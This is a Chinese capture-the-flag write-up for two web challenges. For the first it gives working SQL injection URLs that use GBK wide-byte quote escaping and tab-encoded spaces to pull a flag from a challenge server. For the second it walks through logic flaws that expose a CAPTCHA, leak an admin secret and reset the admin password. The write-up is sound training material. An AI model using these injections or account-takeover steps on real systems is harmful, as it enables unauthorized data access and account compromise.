week4_wp

又双叒叕是SQLI

首先题目hint已经有了，在线改题。所以第一时间通过index.php~获得源码。

通过源码，我们发现，首先需要绕单引号的转义，然后是绕那一堆waf。

所以首先我们发现database的编码是使用的gbk所以可以构造宽字节注入?user=%df%27来绕过单引号的转义，接着绕过空格，由于/**/被ban了，所以我们可以采用换行或者tab的url编码来绕过。

```
/*数据库*/
http://118.25.18.223:10088/?
user=%df%27%09or(select%09table_name%09from%09information_schema.tables%09where%09table_schema%09like%09%22week%25%22%09limit%091)is%09not%09null%09%23
/*表名*/
http://118.25.18.223:10088/?
user=%df%27%09or(select%09table_name%09from%09information_schema.tables%09where%09table_schema%09in%09(%22week44sqliii%22)%09and%09table_name%09like%09%22fllllag%25%22%09limit%091)is%09not%09null%23
/*列名*/
http://118.25.18.223:10088/?
user=%df%27%09or(select%09column_name%09from%09information_schema.columns%09where%09table_name%09in%09(%22fllllag%22)%09and%09column_name%09like%09%22thisisfla%25%22%09limit%090,1)is%09not%09null%23
/*flag*/
http://118.25.18.223:10088/?
user=%df%27%09or(select%09thisisflag%09from%09fllllag%09where%09thisisflag%09like%09%22hgame%7blike!injection!so!g00d%23%23%7d%22)%09is%09not%09null%23
```

懒死了就这样

散落的flag

一道贼jr简单的业务逻辑漏洞，首先第一段flag，我们可以直接注册一个账号，验证码的获取直接通过看ajax返回的字符串或者找到那个hidden的input的value即可。

然后是我们在进入了用户页面可以发现加载页面时会有一个ajax请求，发现会发送用户名，然后获得secret文本，我们就尝试post请求发送username:admin到check_user.php，获得第二段flag。

接着进入最后一个页面，我们审查元素下可以看到有两个username的input，其中一个是hidden一个是disabled="true"的，我们不用管disabled的内容，只需修改hidden的内容为admin，然后密码自己改写一个就成功修改admin的密码了，紧接着登陆admin获得第三段flag